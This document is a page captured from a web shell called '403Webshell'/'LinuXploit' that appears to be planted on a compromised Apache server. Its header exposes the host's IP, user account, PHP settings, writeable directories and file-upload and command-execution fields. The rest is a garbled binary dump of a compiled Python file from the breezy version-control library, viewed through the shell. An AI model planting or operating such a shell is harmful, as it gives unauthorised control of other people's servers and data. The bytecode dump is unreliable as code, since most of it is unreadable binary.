403Webshell
Server IP : 217.160.0.64  /  Your IP : 216.73.216.182
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67269618 ( 67269618)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/kunden/usr/lib/python3/dist-packages/breezy/bzr/__pycache__/weave.cpython-313.pyc
�

p��g������SrSSKrSSKJr SSKJr SSKrSSKJr \"\"5S5 SSKJ	r	 SS	KJ
r SS
K	JrJ
r
 SSKJrJrJr SSKJr SS
KJr SSKJrJrJrJrJrJrJr SSKJrJ r  "SS\	RB5r""SS\"5r#"SS\"5r$"SS\"5r%"SS\"5r&"SS\"5r'"SS\"5r("SS \5r)"S!S"\5r*"S#S$\*5r+S'S%jr,S&r-g)(z.Weave - storage of related text file versions.�N)�copy)�BytesIO�)�lazy_importz
from breezy import tsort
)�errors)�	transport)�RevisionAlreadyPresent�RevisionNotPresent)�dirname�sha�sha_strings)�
NULL_REVISION)�mutter�)�AbsentContentFactory�ContentFactory�ExistingContent�UnavailableRepresentation�
VersionedFile�adapter_registry�sort_groupcompress)�_read_weave_v5�write_weave_v5c�"�\rSrSrSrSSjrSrg)�
WeaveError�cz"Error in processing weave: %(msg)sNc�N�[RRU5 Xlg�N)r�BzrError�__init__�msg)�selfr!s  �2/usr/lib/python3/dist-packages/breezy/bzr/weave.pyr �WeaveError.__init__fs����� � ��&���)r!r��__name__�
__module__�__qualname__�__firstlineno__�_fmtr �__static_attributes__�r%r#rrcs��/�D�r%rc��\rSrSrSrSrSrg)�WeaveRevisionAlreadyPresent�kz7Revision {%(revision_id)s} already present in %(weave)sc�F�[RU5 XlX lgr�rr �revision_id�weave�r"r3r4s   r#r �$WeaveRevisionAlreadyPresent.__init__n������D�!�&���
r%�r3r4Nr&r-r%r#r/r/ks��D�D�r%r/c��\rSrSrSrSrSrg)�WeaveRevisionNotPresent�tz3Revision {%(revision_id)s} not present in %(weave)sc�F�[RU5 XlX lgrr2r5s   r#r � WeaveRevisionNotPresent.__init__wr7r%r8Nr&r-r%r#r:r:ts��@�D�r%r:c��\rSrSrSrSrSrg)�WeaveFormatError�}z"Weave invariant violated: %(what)sc�:�[RU5 Xlgr)rr �what)r"rBs  r#r �WeaveFormatError.__init__�s�����D�!��	r%)rBNr&r-r%r#r?r?}s��/�D�r%r?c��\rSrSrSrSrg)�WeaveParentMismatch�z5Parents are mismatched between two revisions. %(msg)sr-N�r'r(r)r*r+r,r-r%r#rErE�s��B�Dr%rEc��\rSrSrSrSrg)�WeaveInvalidChecksum�z(Text did not match its checksum: %(msg)sr-NrGr-r%r#rIrI�s��5�Dr%rIc��\rSrSrSrSrSrg)�WeaveTextDiffers�zTWeaves differ on text content. Revision: {%(revision_id)s}, %(weave_a)s, %(weave_b)sc�R�[RU5 XlX lX0lgr)rr r3�weave_a�weave_b)r"r3rOrPs    r#r �WeaveTextDiffers.__init__�s �����D�!�&�����r%)r3rOrPNr&r-r%r#rLrL�s��	7�	�
r%rLc�*�\rSrSrSrSrSrSrSrg)�WeaveContentFactory�zEContent factory for streaming from weaves.

:seealso ContentFactory:
c���[R"U5 URU/5UUlU4UlURU/5Un[
SU55UlSUlX l	g)z4Create a WeaveContentFactory for version from weave.c3�&# �UHo4v� M	 g7frr-)�.0�parents  r#�	<genexpr>�/WeaveContentFactory.__init__.<locals>.<genexpr>�s���=�W�6�Y�W�s��fulltextN)
rr �	get_sha1s�sha1�key�get_parent_map�tuple�parents�storage_kind�_weave)r"�versionr4ras    r#r �WeaveContentFactory.__init__�sf������%��O�O�W�I�.�w�7��	��:����&�&��y�1�'�:���=�W�=�=���&����r%c���US:Xa(URRURS5$US;a(URRURS5$[	URUS5e)Nr[�����chunked�lines)rc�get_textr^�	get_linesr�r"rbs  r#�get_bytes_as� WeaveContentFactory.get_bytes_as�s`���:�%��;�;�'�'������5�5�
�1�
1��;�;�(�(����"��6�6�+�D�H�H�l�J�O�Or%c��US;a1[URRURS55$[	URUS5e)Nrhrgr[)�iterrcrlr^rrms  r#�
iter_bytes_as�!WeaveContentFactory.iter_bytes_as�s@���/�/�����-�-�d�h�h�r�l�;�<�<�+�D�H�H�l�J�O�Or%)rcr^rar]rbN)	r'r(r)r*�__doc__r rnrrr,r-r%r#rSrS�s���
�P�Pr%rSc�*^�\rSrSrSr/SQrS(U4SjjrSrSrSr	Sr
S	rS
rSr
SrS
r\rSrSrSrSrSrSrS)SjrSrS*SjrSrSrSrS)SjrS+SjrSrSr Sr!Sr"S r#S!r$\$r%S+S"jr&S#r'S$r(S%r)S&r*S'r+U=r,$),�Weave�aweave - versioned text file storage.

A Weave manages versions of line-based text files, keeping track
of the originating version for each line.

To clients the "lines" of the file are represented as a list of strings.
These strings  will typically have terminal newline characters, but
this is not required.  In particular files commonly do not have a newline
at the end of the file.

Texts can be identified in either of two ways:

* a nonnegative index number.

* a version-id string.

Typically the index number will be valid only inside this weave and
the version-id is used to reference it in the larger world.

The weave is represented as a list mixing edit instructions and
literal text.  Each entry in _weave can be either a string (or
unicode), or a tuple.  If a string, it means that the given line
should be output in the currently active revisions.

If a tuple, it gives a processing instruction saying in which
revisions the enclosed lines are active.  The tuple has the form
(instruction, version).

The instruction can be '{' or '}' for an insertion block, and '['
and ']' for a deletion block respectively.  The version is the
integer version index.  There is no replace operator, only deletes
and inserts.  For '}', the end of an insertion, there is no
version parameter because it always closes the most recently
opened insertion.

Constraints/notes:

* A later version can delete lines that were introduced by any
  number of ancestor versions; this implies that deletion
  instructions can span insertion blocks without regard to the
  insertion block's nesting.

* Similarly, deletions need not be properly nested with regard to
  each other, because they might have been generated by
  independent revisions.

* Insertions are always made by inserting a new bracketed block
  into a single point in the previous weave.  This implies they
  can nest but not overlap, and the nesting must always have later
  insertions on the inside.

* It doesn't seem very useful to have an active insertion
  inside an inactive insertion, but it might happen.

* Therefore, all instructions are always"considered"; that
  is passed onto and off the stack.  An outer inactive block
  doesn't disable an inner block.

* Lines are enabled if the most recent enclosing insertion is
  active and none of the enclosing deletions are active.

* There is no point having a deletion directly inside its own
  insertion; you might as well just not write it.  And there
  should be no way to get an earlier version deleting a later
  version.

_weave
    Text of the weave; list of control instruction tuples and strings.

_parents
    List of parents, indexed by version number.
    It is only necessary to store the minimal set of parents for
    each version; the parent's parents are implied.

_sha1s
    List of hex SHA-1 of each version.

_names
    List of symbolic names for each version.  Each should be unique.

_name_map
    For each name, the version number.

_weave_name
    Descriptive name of this weave; typically the filename if known.
    Set by read_weave.
)�_allow_reserved�_matcher�	_name_map�_names�_parents�_sha1src�_weave_namec�>�[TU]5 /Ul/Ul/Ul/Ul0UlXlUc[RUl
OX0l
UcSnX@lU"5UlX l
XPlg)z�Create a weave.

:param get_scope: A callable that returns an opaque object to be used
    for detecting when this weave goes out of scope (should stop
    answering requests or allowing mutation).
Nc��grr-r-r%r#�	get_scope�!Weave.__init__.<locals>.get_scope8s��r%)�superr rcr|r}r{rzr~�patiencediff�PatienceSequenceMatcherry�
_get_scope�_scope�_access_moderx)r"�
weave_name�access_mode�matcherr��allow_reserved�	__class__s      �r#r �Weave.__init__sw���	���������
����������%���?�(�@�@�D�M�#�M���
�$���k���'��-�r%c�8�SRUR5$)NzWeave({!r}))�formatr~�r"s r#�__repr__�Weave.__repr__@s���#�#�D�$4�$4�5�5r%c��UR5UR:wa[R"5eURS:wa[R
"U5eg)z<Is the versioned file marked as 'finished' ? Raise if it is.�wN)r�r�r�OutSideTransactionr��ReadOnlyObjectDirtiedErrorr�s r#�_check_write_ok�Weave._check_write_okCsH���?�?�����+��+�+�-�-�����#��3�3�D�9�9�$r%c��[5nURSSUlURSSUlURSSUlURSSUlUR
R
5UlURUlU$)z\Return a deep copy of self.

The copy can be modified without affecting the original weave.
N)rvrcr|r}r{rzrr~�r"�others  r#r�
Weave.copyJso��
����{�{�1�~������q�)����{�{�1�~����{�{�1�~����.�.�-�-�/��� �,�,����r%c���[U[5(dgURUR:H=(a9 URUR:H=(a URUR:H$)NF)�
isinstancervr|rcr}r�s  r#�__eq__�Weave.__eq__XsQ���%��'�'���M�M�U�^�^�+�
,����u�|�|�+�
,����u�|�|�+�	
r%c�.�URU5(+$r)r�r�s  r#�__ne__�Weave.__ne__as���;�;�u�%�%�%r%c� �URU$r�r{)r"rds  r#�_idx_to_name�Weave._idx_to_nameds���{�{�7�#�#r%c��UR(dURU5 URU$![an[	XR
5UeSnAff=f)z'Convert symbolic version name to index.N)rx�check_not_reserved_idrz�KeyErrorr
r~)r"�name�errs   r#�_lookup�
Weave._lookupgsS���#�#��&�&�t�,�	F��>�>�$�'�'���	F�$�T�+;�+;�<�#�E��	F�s�3�
A�A�Ac� �URSS$)zSee VersionedFile.versions.Nr�r�s r#�versions�Weave.versionsps���{�{�1�~�r%c��XR;$)zSee VersionedFile.has_version.)rz�r"�
version_ids  r#�has_version�Weave.has_versionts���^�^�+�+r%c#�# �UVs/sHoDSPM	 nnUS:Xa[URU5n[RU5nUR[	U5R[	U555 UnOVUS:XaPURU5n[
U5nUR[	U5R[	U555 UnUH%nX@;a[X@5v� M[U45v� M' gs snf7f)a�Get a stream of records for versions.

:param versions: The versions to include. Each version is a tuple
    (version,).
:param ordering: Either 'unordered' or 'topological'. A topologically
    sorted stream has compression parents strictly before their
    children.
:param include_delta_closure: If True then the closure across any
    compression parents will be included (in the opaque data).
:return: An iterator of ContentFactory objects, each of which is only
    valid until the iterator is advanced.
rg�topological�
groupcompressN)	r_�tsort�	topo_sort�extend�set�
differencerrSr)r"r��ordering�include_delta_closurerdra�new_versionss       r#�get_record_stream�Weave.get_record_streamzs����08�8�x�G�B�K�x��8��}�$��)�)�(�3�G� �?�?�7�3�L�����H�
� 8� 8��W�� F�G�#�H�
��
(��)�)�(�3�G�-�g�6�L�����H�
� 8� 8��W�� F�G�#�H��G���)�'�8�8�*�G�:�6�6�	 ��9�s�C?�C:�C*C?c
���0nUHPnU[:XaSnO<[[URURURU555nXBU'MR U$![a Mcf=f)z!See VersionedFile.get_parent_map.r-)rr`�mapr�r|r�r
)r"�version_ids�resultr�ras     r#r_�Weave.get_parent_map�st����%�J��]�*����#��D�-�-�t�}�}�T�\�\�*�=U�/V�W��G�
")�:��&��
��*����s�;A�
A)�(A)c�,�[UR5er)�NotImplementedError�get_parents_with_ghostsr�s  r#r��Weave.get_parents_with_ghosts�s��!�$�">�">�?�?r%c�F�0nUH�nURS:Xa[URS/U5eURVs/sHoDSPM	 nnURS;a0UR	URSXSRS55 M�URS4nX&nURUS5n	UR	URSXY5 M� gs snf![a% [R"U5nU"U5nXrU'Njf=f![a GMf=f)z�Insert a record stream into this versioned file.

:param stream: A stream of records to insert.
:return: None
:seealso VersionedFile.get_record_stream:
�absentr)r[rirjrjN)rbr
r^ra�	add_linesrnr�r�get�	get_bytesr	)
r"�stream�adapters�recordrXra�adapter_key�adapter�adapter_factoryrjs
          r#�insert_record_stream�Weave.insert_record_stream�s�����F��"�"�h�.�(�&�*�*�Q�-��$�?�?�/5�~�~�>�~�V�a�y�~�G�>��"�"�&F�F����v�z�z�!�}�g�7J�7J�7�7S�T�$�1�1�7�:��4�&�3�G�
 �)�)�&�'�:����N�N�6�:�:�a�=�'�A�%��
?�� �4�&6�&:�&:�;�&G�O�-�d�3�G�,3�[�)�4��.����s*�C�C�6D�,D�
D�
D �D c��URU5n[URU5[U5:wdX@RU:wa[	XR
5eU$)zdCheck that a duplicated add is OK.

If it is, return the (old) index; otherwise raise an exception.
)r��sortedr|r}r	r~)r"r�ra�textr]�idxs      r#�_check_repeated_add�Weave._check_repeated_add�sQ��
�l�l�4� ���$�-�-��$�%����8�D�K�K�PS�DT�<T�(��/?�/?�@�@��
r%c	
��URX[[URU55US9n	[	U5[[[U55U	4$)zSee VersionedFile.add_lines.)�nostore_sha)�_add�listr�r�r
�sum�len)
r"r�rarj�parent_texts�left_matching_blocksr��	random_id�
check_contentr�s
          r#�
_add_lines�Weave._add_lines�sM���i�i��t�C����g�$>�?�[��
���5�!�3�s�3���#7��<�<r%c��URU5 URU5 U(d[U5nXE:Xa[eUcSU-nXR;aURXX$5$UR
U5 [UR5nURRUSS5 URRU5 URRU5 X`RU'U(d\U(aSURRSU45 URRU5 URRS5 U$[U5S:Xa"[U5SnX@RU:XaU$URU5n/n	/n
UR!U5H(up�n
U	RU5 U
RU
5 M* X*:XaU$U	R[UR55 UR#SX�5nSnUR%5H�unnnnnUS:XaMU	UnU	UnUU:waJURR'UU-SU45 URR'UU-S-S	U45 US
-
nUU:wdMsUU-nSU4/UUU-S/-URUU&US
UU-
--
nM� U$)a�Add a single text on top of the weave.

Returns the index number of the newly added version.

version_id
    Symbolic name for this version.
    (Typically the revision-id of the revision that added it.)
    If None, a name will be allocated based on the hash. (sha1:SHAHASH)

parents
    List or set of direct parent version numbers.

lines
    Sequence of lines to be added in the new version.

:param nostore_sha: See VersionedFile.add_lines.
Nssha1:�{)�}Nrr�equal�[�]r)�_check_lines_not_unicode�_check_lines_are_linesr
rrzr��_check_versionsr�r|�appendr}r{rcr�r��_inclusions�_extractry�get_opcodes�insert)r"r�rjrar]r��new_version�pv�	ancestors�basis_lineno�basis_lines�_origin�lineno�line�s�offset�tag�i1�i2�j1�j2�is                      r#r��
Weave._add�s���$	
�%�%�e�,��#�#�E�*���u�%�D���!�!���!�D��J����'��+�+�J��M�M����W�%��$�-�-�(��	
�
�
���W�Q�Z�(������4� ������:�&�%0���z�"��
����"�"�D�+�#6�7����"�"�5�)����"�"�<�0����w�<�1���g��q�!�B��{�{�2��&�"�"��$�$�W�-�	�����%)�]�]�9�%=�!�G�T�����'����t�$�&>�����	���C����,�-�
�M�M�$��3��
��#$�=�=�?��C��R��R��g�~���b�!�B��b�!�B��R�x����"�"�2��;��{�0C�D����"�"�2��;��?�T�;�4G�H��!����R�x���K��%)�;�$7�#8�5��B�<�#G�<�.�#X����A�a� ��!�r�B�w�-�'��+$3�,�r%c���[U5(d
[5$[U5n[[U5SS5H(nX2;dM
UR	UR
U5 M* U$)z0Return set of all ancestors of given version(s).rrg)r�r��range�max�updater|)r"r�r
�vs    r#r��Weave._inclusionsUsS���8�}�}��5�L���M���s�8�}�a��,�A��v�������q�)�*�-��r%c���[U[5(aU/nURUVs/sHo0RU5PM sn5nUVs1sHo0R	U5iM sn$s snfs snf)zSee VersionedFile.get_ancestry.)r��bytesr�r�r�)r"r��topo_sortedrr
s     r#�get_ancestry�Weave.get_ancestry`sb���k�5�)�)�&�-�K����{�C�{�!�l�l�1�o�{�C�D��./�0�a��!�!�!�$�a�0�0��D��0s�A*�
A/c��UHnURU M g![a n[SRU55UeSnAff=f)z5Check everything in the sequence of indexes is valid.zinvalid version number {!r}N)r|�
IndexErrorr�)r"�indexesr
r�s    r#r��Weave._check_versionsgsK���A�
S��
�
�a� ����
S� �!>�!E�!E�a�!H�I�s�R��
S�s��
A�A�Ac�<�[URU55S:H$)z�During join check that other_parents are joinable with my_parents.

Joinable is defined as 'is a subset of' - supersets may require
regeneration of diffs, but subsets do not.
r)r�r�)r"�
my_parents�
other_parentss   r#�_compatible_parents�Weave._compatible_parentsos���=�+�+�J�7�8�A�=�=r%c��URU5/nURU5VVVs/sHup4nURU5U4PM snnn$s snnnf)zwReturn a list of (version-id, line) tuples for version_id.

The index indicates when the line originated in the weave.
)r�r�r�)r"r��incls�originrr�s      r#�annotate�Weave.annotatewsZ��
���j�)�*��)-�
�
�e�(<�
�(<�$����
�
�v�
&��-�(<�
�	
��
s� A
c#��# �UcUR5n[U5nURU5H3up4pVXA;aM
URS5(dUS-U4v� M.Xd4v� M5 g7f)z<See VersionedFile.iter_lines_added_or_present_in_versions().N�
)r�r��_walk_internal�endswith)r"r��pb�_lineno�inserted�_deletesrs       r#�'iter_lines_added_or_present_in_versions�-Weave.iter_lines_added_or_present_in_versions�sj������-�-�/�K��+�&��15�1D�1D�[�1Q�-�G�x��*���=�=��'�'��U�l�H�,�,��n�$�
2R�s�A(A*c#�# �/n[5nSn[UR5H�upE[U[5(a�UupgUS:Xa URURU5 MDUS:XaUR5 M\US:Xa URURU5 M�US:Xa URURU5 M�[SRU55eXBS[U5U4v� M� U(a[SRU55eU(a[S	RU55eg
7f)z Helper method for weave actions.rr�r�r�r�zunexpected instruction {!r}rg�-unclosed insertion blocks at end of weave: {}�,unclosed deletion blocks at end of weave: {}N)
r��	enumeratercr�r`r�r{�pop�add�remover?r��	frozenset)r"r��istack�dsetr�l�crs        r#r'�Weave._walk_internal�s������u����"�4�;�;�/�I�F��!�U�#�#������9��M�M�$�+�+�a�.�1��$�Y��J�J�L��$�Y��H�H�T�[�[��^�,��$�Y��K�K����A��/�*�+H�+O�+O�PQ�+R�S�S��R�j�)�D�/�1�<�<�0� �"�?�F�F�v�N��
��"�>�E�E�d�K��
��s�EEc#��# �URU/5nURU/5nX4-nURX/5H�upgp�X�-(aSU	4v� MXu;aV[X�-5n
[X�-5nU
(aU(aSU	4v� MLU
(aSU	4v� M[U(aSU	4v� MjSU	4v� MrXs;aX�-(aSU	4v� M�SU	4v� M�Xt;aX�-(aSU	4v� M�S	U	4v� M�S
U	4v� M� g7f)z�Return pseudo-annotation indicating how the two versions merge.

This is computed between versions a and b and their common
base.

Weave lines present in none of them are skipped entirely.
zkilled-basezkilled-bothzkilled-azkilled-b�	unchangedzghost-aznew-azghost-bznew-b�
irrelevantN)rr'�bool)r"�ver_a�ver_b�inc_a�inc_b�inc_cr*r��	deletesetr�killed_a�killed_bs            r#�
plan_merge�Weave.plan_merge�s����!�!�5�'�*���!�!�5�'�*���
��04�0C�0C�U�N�0S�,�G�Y�� �$�T�)�)����	� 1�2���	� 1�2����'��-�-��$�d�*�*��$�d�*�*�%�t�+�+����$�#�T�/�)�"�4�-�'����$�#�T�/�)�!�4�-�'�#�D�(�(�=1T�s�C4C6c�`�UH#n[U[5(aM[U5e URU5n/n[	5n[	5nSnSn/n	[UR5H�upz[U
[5(a�U
up�SnUS:Xa$URU5 URU5 MJUS:Xa!URUR55 MqUS:XaX�;aURU5 M�M�US:XaX�;aURU5 M�M�[5eUcU(+=(a U=(a USU;nU(dM�U	RUSXz45 M� U(a[SRU55eU(a[S	RU55eU	$)
aYield annotation of lines in included set.

Yields a sequence of tuples (origin, lineno, text), where
origin is the origin version, lineno the index in the weave,
and text the text of the line.

The set typically but not necessarily corresponds to a version.
rNr�r�r�r�rgr0r1)r��int�
ValueErrorr�r�r2rcr`r�r4r5r3�AssertionErrorr?r�)
r"r�r
�includedr7�isetr8r�isactiver�r9r:rs
             r#r��Weave._extract�s����A��a��%�%� ��m�#���#�#�H�-�����u���u��������4#�4�;�;�/�I�F��!�U�#�#��������9��M�M�!�$��H�H�Q�K��$�Y��K�K��
�
��-��$�Y��}������%��$�Y��}����A��%�)�*�*��#�$(��Q�f�Q�&��*��:P�H��8��M�M�6�"�:�v�"9�:�+0�,�"�?�F�F�v�N��
��"�>�E�E�d�K��
��
r%c�R�[U[5(aU$URU5$)zWConvert possible symbolic name to index, or pass through indexes.

NOT FOR PUBLIC USE.
)r�rKr�)r"�
name_or_indexs  r#�
_maybe_lookup�Weave._maybe_lookup,s&���m�S�)�)� � ��<�<�
�.�.r%c��URU5nURU/5VVVs/sHup4oUPM	 nnnnURUn[U5nX�:wa&[	SRURXU55eU$s snnnf)zSee VersionedFile.get_lines().z/file {}, revision {}, expected: {}, measured {})rTr�r}r
rIr�r~)	r"r��	int_indexr"rrr��
expected_sha1�
measured_sha1s	         r#rl�Weave.get_lines8s����&�&�z�2�	�59�]�]�I�;�5O�P�5O�1�F�D�$�5O��P����I�.�
�#�F�+�
��)�&�A�H�H��$�$�j����
�
�
��Qs�Bc�\�0nUH#nURURU5X#'M% U$)zSee VersionedFile.get_sha1s().)r}r�)r"r�r�rs    r#r\�Weave.get_sha1sFs.�����A����D�L�L��O�4�F�I���
r%c�,�[UR5$)z$How many versions are in this weave?)r�r|r�s r#�num_versions�Weave.num_versionsMs���4�=�=�!�!r%c	�
�[UR55HQn[URU5nU(dM$UR	5 USU:�dM?[SUSSU35e UR5n0n0n0n[U5H�nUR
U5n[5XX'/Xh'U1n	URUH%n
U	RX0R
U
55 M' X�RU5:wa)[SRX�RU555eX�U'M� [UR5nSnUR(a?[R R#UR5n
SRU
5nUSSnUR%5Haup�nnU(aURX�U5 UR'5H-unnUU;dMUU-(aMXXRU5 M/ Mc [U5HenUR
U5nXRR)5R+5nUR,UnUU:wdMK[/SRUUU55e g)	Nrgzinvalid included version z for index zfailed {} != {}zchecking weavezchecking {}�z3mismatched sha1 for version {}: got {}, expected {})r
r^r�r|�sortr?r�rrrrMr�r�rcr~�os�path�basenamer'�items�	hexdigest�encoder}rI)r"�progress_barrd�
inclusions�nv�sha1s�textsr
r��new_inc�p�nlines�update_text�
short_namerr�rEr�name_inclusions�hd�expecteds                     r#�check�Weave.checkSs_���T�.�.�0�1�G��d�m�m�G�4�5�J��z����!��b�>�W�,�*�3�J�r�N�3C�;�w�i�X���2��
�
�
 �������
��r��A��$�$�Q�'�D��%�E�K��E�K��f�G��]�]�1�%�����z�*;�*;�A�*>�?�@�&��+�+�D�1�1�$�%�,�,�W�6G�6G��6M�N��� '�t��� �T�[�[�!��&��������)�)�$�*:�*:�;�J�'�.�.�z�:�K�%�c�r�*�K�/3�/B�/B�/D�+�F�I�t���#�#�K��@�)3�)9�)9�);�%��o��o�-�	�O�8S�8S��K�&�&�t�,�*<�	0E��r��A��'�'��*�G���)�)�+�2�2�4�B��{�{�1�~�H��X�~�*�I�P�P���X����r%c��/nURUHgnURUnXPR;a([SR	XQRUU55eURURU5 Mi U$)zAReturn list of parents in self corresponding to indexes in other.z'missing parent {{{}}} of {{{}}} in {!r})r|r{rzrr�r�)r"r��	other_idx�new_parents�
parent_idx�parent_names      r#�_imported_parents�Weave._imported_parents�s|�����.�.��3�J��,�,�z�2�K��.�.�0� �=�D�D�#�_�_�Y�%?�����

���t�~�~�k�:�;�4��r%c���URRUS5nUS:wa�URUURU:wa[X0U5eURUnURUnUVs1sHopR
UiM nnUVs1sHoqR
UiM n	nUR
X�5(d[SRX8U	55eggs snfs snf)aCheck if a version in consistent in this and other.

To be consistent it must have:

 * the same text
 * the same direct parents (by name, not index, and disregarding
   order)

If present & correct return True;
if not present in self return False;
if inconsistent raise error.
rgz1inconsistent parents for version {{{}}}: {} vs {}TF)	rzr�r}rLr|r{rrEr�)
r"r�ryr��this_idx�self_parentsrr
�n1�n2s
          r#�_check_version_consistent�Weave._check_version_consistent�s����>�>�%�%�d�B�/���r�>��{�{�8�$����Y�(?�?�&�t�5�9�9��=�=��2�L�!�N�N�9�5�M�*6�7�,�Q�+�+�a�.�,�B�7�+8�9�=�a�,�,�q�/�=�B�9��+�+�B�3�3�)�G�N�N��"�������8��9s�1C�C!c�:�[XX#S9nURU5 g)z�Reweave self with other - internal helper for join().

:param other: The other weave to merge
:param pb: An optional progress bar, indicating how far done we are
:param msg: An optional message for the progress
)r)r!N)�_reweave�_copy_weave_content)r"r�r)r!�	new_weaves     r#r��Weave._reweave�s���T�R�9�	�� � ��+r%c�v�URH)nUS:wdM[X[[X555 M+ g)z#Adsorb the content from otherweave.r~N)�	__slots__�setattrr�getattr)r"�
otherweave�attrs   r#r��Weave._copy_weave_content�s,���N�N�D��}�$���D���)B�$C�D�#r%)r�rxr�ryrzr{r|r�r}rcr~)Nr�NNF�NN)Tr)-r'r(r)r*rtr�r r�r�rr�r�r�r�r�r��__contains__r�r_r�r�r�r�r�r�rr�rr#r-r'rHr�rTrlr\r^�__len__rvr}r�r�r�r,�
__classcell__�r�s@r#rvrv�s����V�p	�I������
!.�F6�:��
�&�$�F��,��L�7�<� @��<�=�"o�b	�1�S�>�	
�%��@*)�XO�b
/���"��G�>�H
��@,�E�Er%rvc�p^�\rSrSrSrSrSU4SjjrU4SjrSrSr	\
S5rU4S	jrS
r
U=r$)�	WeaveFilei�z<A WeaveFile represents a Weave on disk and writes on change.z.weavec�t>�[TU]XUSS9 X lX0lURR	U[
R-5n[[UR55U5 SSS5 g!,(df   g=f![Ra U(deUR5 gf=f)zMCreate a WeaveFile.

:param create: If not True, only open an existing knit.
F)r�r�N)
r�r �
_transport�	_filemoder�r��WEAVE_SUFFIXrr�read�_mod_transport�
NoSuchFile�_save)	r"r�r�filemode�creater�r��fr�s	        �r#r �WeaveFile.__init__�s����	����i�PU��V�#��!��	����$�$�T�I�,B�,B�%B�C�q��w�q�v�v�x�0�$�7�D�C�C���(�(�	����J�J�L�		�s/�,B�
$A7�.B�7
B�B�B�,B7�6B7c	
�v>�URU5 [T
U]	UUUUUUUU5n	UR5 U	$)z!Add a version and save the weave.)r�r�r�r�)r"r�rarjr�r�r�r�r�r�r�s          �r#r��WeaveFile._add_lines�sJ���	
�"�"�:�.���#����� ����	
��	
�
�
���
r%c��[5n[X5 URS5 URU[R
-X0R5 g)zSee VersionedFile.copy_to().rN)rr�seek�put_filer�r�r�)r"r�r�sios    r#�copy_to�WeaveFile.copy_tos=���i���t�!���������4�)�"8�"8�8�#�~�~�Nr%c���UR5 [5n[X5 URS5 UR	5nUR
[R-nURRX2UR5 g![RaM URR[U55 URRX2UR5 gf=f)zSave the weave.rN)r�rrr��getvaluer~r�r�r��	put_bytesr�r�r��mkdirr)r"r�rrds    r#r��WeaveFile._saves��������i���t�!��������������)�"8�"8�8��	C��O�O�%�%�d�4�>�>�B���(�(�	C��O�O�!�!�'�$�-�0��O�O�%�%�d�4�>�>�B�	C�s�%&B�AC-�,C-c�$�[R/$)z!See VersionedFile.get_suffixes().)r�r�r-r%r#�get_suffixes�WeaveFile.get_suffixes%s���&�&�'�'r%c�D>�[TU]U5 UR5 gr)r�r�r�)r"r�r�s  �r#r��WeaveFile.insert_record_stream*s���
��$�V�,��
�
�r%)r�r�)NFr�N)r'r(r)r*rtr�r r�r�r��staticmethodr�r�r,r�r�s@r#r�r��sM���F��L������2�4O�C��(��(��r%r�c�d�[5n[X5n[SU5 [R	UR55n[SU5 U(a	U(dSn[
U5GH:upxU(aURX7[U55 X�R;a�URU5n	X�R;a�URU5n
X�:wa�[SU5 [SURUR5 SSKn[URX�URUR55n	[SS	RU	55 [!X�U5eOURU5n	UR#X�XXVs/sHo�R%U5PM sn5 GM= U$s snf)
aCombine two weaves and return the result.

This works even if a revision R has different parents in
wa and wb.  In the resulting weave all the parents are given.

This is done by just building up a new weave, maintaining ordering
of the versions in the two inputs.  More efficient approaches
might be possible but it should only be necessary to do
this operation rarely, when a new previously ghost version is
inserted.

:param pb: An optional progress bar, indicating how far done we are
:param msg: An optional message for the progress
zcombined parents: %rzorder to reweave: %r�reweavez%Weaves differ on content. rev_id {%s}zweaves: %s, %srNz	lines:
%s�)rv�_reweave_parent_graphsrr�r�rfr2rr�rzrlr~�difflibr��unified_diff�joinrLr�r�)
�wa�wbr)r!�wr�combined_parents�orderr�r�rj�lines_br�r
s
             r#r�r�/s]��
��B�.�b�5��
�!�#3�4��O�O�,�2�2�4�5�E�
�!�5�)�	�#����u�%�	��
��I�I�c��E�
�+��<�<���L�L��&�E��|�|�#��,�,�t�,���#��B�D�I��+�R�^�^�R�^�^�L�"� ��,�,�!�B�N�N�B�N�N���E�
�<������8�*�4�R�8�8���L�L��&�E�
����5E�5K�L�5K��j�j��m�5K�L�M�+&�,�I��Ms�F-c	���0nX4Hmn[UR5HQupEURU[55nUR	[URURU55 MS Mo U$)ziReturn combined parent ancestry for two weaves.

Returned as a list of (version_name, set(parent_names))
)r2r{�
setdefaultr�rr�r�r|)r�r��combinedr4r�r�ros       r#r�r�bsg��
�H����"�5�<�<�0�I�C��#�#�D�#�%�0�A�
�H�H�S��+�+�U�^�^�C�-@�A�B�1���Or%r�).rtrcr�iorr�r�globalsr�rrr�r	r
�osutilsrrr
�revisionr�tracer�
versionedfilerrrrrrr�	weavefilerrrrr/r:r?rErIrLrSrvr�r�r�r-r%r#�<module>r�s���&5�`
����%���I����*�?�/�/�$�����6�������*���j���z��C�*�C�6�:�6�
�z�
�P�.�P�>[E�M�[E�|U��U�p0�f
r%

Youez - 2016 - github.com/yon3zu
LinuXploit